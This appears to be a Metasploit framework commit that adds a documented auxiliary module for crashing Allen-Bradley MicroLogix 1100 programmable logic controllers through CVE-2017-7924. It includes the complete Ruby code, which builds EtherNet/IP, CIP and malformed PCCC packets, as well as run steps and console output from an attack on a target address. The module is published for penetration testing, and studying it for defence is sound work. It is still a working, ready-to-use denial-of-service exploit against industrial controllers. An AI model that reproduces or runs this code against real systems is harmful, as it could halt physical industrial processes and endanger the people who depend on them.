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Land #11106, Allen-Bradley legacy protocol DoS

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wvu-r7 committed Jan 9, 2019
2 parents 984ff28 + 0f15614 commit 913c80c3528d01a486582e5d52c035bd4ffd03cd
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## Vulnerable Application

A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition.
MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD.
CVE-2017-7924 has been assigned to this vulnerability.
A CVSS v3 base score of 7.5 has been assigned.

## Verification Steps

1. Do: `use auxiliary/dos/scada/allen_bradley_pccc`
2. Do: `set RHOST=IP` where IP is the IP address of the target
3. Do: `check` verify if target is vulnerable
4. Do: `exploit` send DoS packet

## Options

1. PORT: `set RPORT=44818`

## Scenarios

```
msf > use auxiliary/dos/scada/allen_bradley_pccc
msf auxiliary(dos/scada/allen_bradley_pccc) > set RHOST 172.27.248.194
RHOST => 172.27.248.194
msf auxiliary(dos/scada/allen_bradley_pccc) > check
[*] 172.27.248.194:44818 - Product Name: 1763-L16BWA B/14.00
[+] 172.27.248.194:44818 - The target is vulnerable.
msf auxiliary(dos/scada/allen_bradley_pccc) > exploit
[*] 172.27.248.194:44818 - Ethernet/IP - Session created (id 0xaf79a666)
[*] 172.27.248.194:44818 - CIP Connection Manager - Forward Open Success (Connection id 0x66a66e85)
[*] 172.27.248.194:44818 - Sending PCCC DoS magic packet...
[*] Auxiliary module execution completed
```

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})
super(
'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)",
'Description' => %q{
A remote, unauthenticated attacker could send a single, specially crafted
Programmable Controller Communication Commands (PCCC) packet to the controller
that could potentially cause the controller to enter a DoS condition.
MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and
1763-L16DWD.
CVE-2017-7924 has been assigned to this vulnerability.
A CVSS v3 base score of 7.5 has been assigned.
},
'Author' => [
'José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>',
'Luis Rosa <lmrosa[at]dei.uc.pt)>',
'Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7924' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-138-03' ],
[ 'URL', 'http://dl.acm.org/citation.cfm?doid=3174776.3174780']
])
register_options([Opt::RPORT(44818),])
end

VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD']
VULN_FW_VERSION_MIN = 14.00
VULN_FW_VERSION_MAX = 16.00
def le_pp(s)
"0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}"
end

def enip_register_session_pkt
# ENIP encapsulation Header
"\x65\x00" + # Command register session (0x0065)
"\x04\x00" + # Lenght (4)
"\x00\x00\x00\x00" + # Session handle (0x00000000)
"\x00\x00\x00\x00" + # Status success (0x00000000)
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
"\x00\x00\x00\x00" + # Options (0x00000000)
# Protocol Specific Data
"\x01\x00" + # Protocol version (1)
"\x00\x00" # Option flags (0x00000000)
end

def enip_ccm_forward_open_pkt(enip_session_handle)
# ENIP encapsulation header
"\x6f\x00" + # Send RR data (0x006f)
"\x3e\x00" + # Lenght (63)
enip_session_handle + # Session handle (retrieved from register session)
"\x00\x00\x00\x00" + # Status success (0x00000000)
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
"\x00\x00\x00\x00" + # Options (0x00000000)
# Command specific data
"\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000)
"\x00\x00" + # Timeout (0)
"\x02\x00" + # Item count (2)
"\x00\x00" + # Item 1 type id (Null address item)
"\x00\x00" + # Item 1 length (0)
"\xb2\x00" + # Item 2 type id (Unconnected data item)
"\x2e\x00" + # Item 2 length (46)
# CIP Connection manager specific data
"\x54\x02\x20\x06\x24\x01\x0a\xf0" +
"\x00\x00\x00\x00\x52\xac\xda\x89" +
"\x55\x0c\x35\x01\xe1\x08\xb0\x60" +
"\x07\x00\x00\x00\x00\x40\x00\x00" +
"\x12\x43\x00\x40\x00\x00\x12\x43" +
"\xa3\x02\x20\x02\x24\x01"
end

# Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08)
def pccc_dos_pkt(enip_session_id, cip_connection_id)
# ENIP encapsulation header
"\x70\x00" + # Send unit data (0x0070)
"\x2d\x00" + # Length
enip_session_id + # ENIP session handle (obtained from enip register session)
"\x00\x00\x00\x00" + # Status Success
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context
"\x00\x00\x00\x00" + # Options
# Command Specific data
"\x00\x00\x00\x00" + # Interface handle (CIP)
"\x00\x00" + # Timeout (0)
"\x02\x00" + # Item count
"\xa1\x00" + # Item 1 - Type ID (Connected address item)
"\x04\x00" + # Item 1 - Length (4)
cip_connection_id + # CIP connection ID (obtained from CIP CM packet)
"\xb1\x00" + # Item 2 - Type ID (Connected data item)
"\x19\x00" + # Item 2 - Length (25)
"\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet
# PCCC Command data
"\x4b" + # Execute PCCC (0x4b)
"\x02\x20\x67\x24\x01" + # no idea what this is
"\x07" + # Requestor ID length
"\x35\x01" + # CIP vendor ID
"\xe1\x08\xb0\x60" + # CIP serial number
"\x0f" + # Command code
"\x00" + # Status (success 0x00)
"\x2a\x58" + # Transaction code
"\xa2" + # Function code (Protected typed logical read with three address fields)
"\x00" + # Byte size
"\x05" + # File number
"\x47" + # File type
"\x00" + # Element number
"\x00" # Sub-element number
end

def enip_list_identify_pkt
"\x63\x00" + # List Identity
"\x00\x00" + # Length
"\x00\x00\x00\x00" + # Session Handle
"\x00\x00\x00\x00" + # Status: Success
"\x00\x00" + # Max Response Delay
"\x00\x00\xc1\xde\xbe\xd1" + # Sender Context
"\x00\x00\x00\x00" # Options
end


def check

connect_udp

udp_sock.put(enip_list_identify_pkt)
res = udp_sock.recvfrom(90)

disconnect_udp

unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00"
print_error "EtherNet/IP Packet Not Valid"
return Exploit::CheckCode::Unsupported
end

revision = res[0][54,2]
product_name_len = res[0][62].unpack("c*")[0]


product_name = res[0][63,product_name_len]
print_status "Product Name: #{product_name}"

array = product_name.split(' ')
plc_model = array[0]

return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e }

firmware = array[1]
begin
firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f
if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX
return Exploit::CheckCode::Vulnerable
elsif firmware_nbr < VULN_FW_VERSION_MIN
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
rescue
return Exploit::CheckCode::Unknown
end

rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
ensure
disconnect
end

def run
connect
# Register Ethernet/IP session
sock.put(enip_register_session_pkt)
enip_register_session_ans = sock.get_once
unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00"
print_error "Ethernet/IP - Failed to create session."
disconnect
return
end
enip_session_id = enip_register_session_ans[4, 4]
print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"

# Ethernet/IP CCM Forward Open
sock.put(enip_ccm_forward_open_pkt(enip_session_id))
enip_ccm_forward_open_ans = sock.get_once
unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00"
print_error "CIP Connection Manager - Failed Forward Open request"
disconnect
return
end
cip_connection_id = enip_ccm_forward_open_ans[44, 4]
print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"

# PCCC DoS packet
print_status "Sending PCCC DoS magic packet..."
sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id))

rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
ensure
disconnect
end
end

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